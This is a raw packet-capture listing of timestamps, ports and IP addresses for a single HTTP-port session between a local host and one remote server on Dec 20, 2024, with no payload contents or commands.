Dec 20, 2024 17:10:56.588476896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.588505983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.589546919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.589596987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.589678049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.590894938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.590946913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.591038942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.591907024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.591922045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.591957092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.592983961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.593034029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.593120098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.594043970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.594090939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.594189882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.595258951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.595302105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.595441103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.596463919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.596507072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.596600056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.596921921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.596965075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.597146034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.598751068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.598793983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.598898888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.599798918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.599813938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.599842072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.600882053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.600929022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.601037025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.602020979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.602085114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.602158070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.603234053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.603285074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.603399992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.604387999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.604437113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.604682922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.605453968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.605496883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.605595112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.606545925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.606590986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.606812000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.607758999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.607803106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.607887983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.608999014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.609041929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.609142065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.610106945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.610151052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.610248089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.611176014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.611219883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.611320019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.612479925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.612525940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.612617970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.613450050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.613496065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.613595963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.614712000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.614727974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.614758015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.615612984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615628004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615649939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.615916967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615931034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615945101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615952015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.615959883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.615978956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.618299961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.618315935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.618344069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.619294882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.619311094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.619353056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.619757891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.619817019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.619923115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.621217012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.621232033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.621253014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.622617960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.622633934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.622662067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.623857975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.623872995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.623897076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.625838995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.625880003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.626928091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.628362894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.628379107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.628398895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.629391909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.629431009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.629700899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.630623102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.630636930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.630661011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.631783009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.631825924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.631973982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.632776976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.632860899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.747030973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.747078896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.747164965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.747499943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.747625113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.747684002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.748629093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.748708963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.748749018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.749974012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.749989986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.750036001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.750960112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.751064062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.751106024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.752099037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.752149105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.752190113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.754188061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.754204988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.754242897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.768878937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.769049883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.769108057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.769392014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.769407034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.769458055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.770550013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.770565033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.770607948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.771614075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.771914005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.771953106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.772654057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.772845984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.772887945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.773941994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.774104118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.774141073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.774926901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.775085926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.775127888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.776205063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.776221037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.776264906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.777210951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.777314901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.777355909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.778594971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.778609991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.778654099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.779601097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.779732943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.779776096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.780772924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.780790091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.780843019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.781959057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.782114983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.782155991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.783014059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.783246040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.783284903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.784147024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.784305096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.784343958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.785206079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.785370111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.785412073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.786407948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.786482096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.786526918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.787672043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.787687063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.787744045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.788629055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.788769960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.788815022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.789982080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.789998055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.790031910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.791047096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.791062117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.791102886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.792114019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.792237997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.792282104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.793330908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.793355942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.793395996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.794406891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.794704914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.794749975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.795579910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.795598030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.795649052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.796623945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.796710014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.796783924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.797785997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.797925949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.797971010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.798955917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.799077034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.799117088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.800061941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.800152063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.800184965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.801182032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.801278114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.801321983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.802318096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.802429914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.802473068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.803589106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.803677082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.803725004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.804603100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.804717064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.804759026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.805788040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.805907011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.805998087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.806967974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.807104111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.807148933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.808176994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.808351040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.808398008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.809221029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.809315920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.809350014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.810344934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.810483932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.810517073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.811508894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.811630011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.811670065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.812591076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.812886000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.812927008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.813729048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.813802958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.813843966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.814887047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.815016031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.815104961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.816016912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.816135883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.816175938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.817205906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.817218065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.817342043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.817384005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.818295002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.818408966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.818444967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.819441080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.819556952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.819592953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.820574045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.825165033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.939019918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.939090014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.939173937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.939517021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.939730883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.939753056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.939809084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.940989017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.941056967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.941124916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.942090034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.942143917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.942192078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.943152905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.943198919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.943231106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.944350004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.944421053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.944433928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.945444107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.945492029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.961024046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.961051941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.961110115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.961380005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.961548090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.961596966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.961642981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.962774992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.962893963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.962960958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.963912964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.963967085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.964020967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.965015888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.965094090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.965115070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.966142893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.966182947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.966310024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.967273951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.967331886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.967369080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.968466043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.968509912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.968626022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.969569921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.969614029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.969625950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.970698118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.970766068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.970787048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.971823931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.971867085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.971919060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.972959042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.973026037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.973063946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.974311113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.974421978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.974467039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.975456953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.975501060 CET	49744	80	192.168.2.4	185.215.113.16
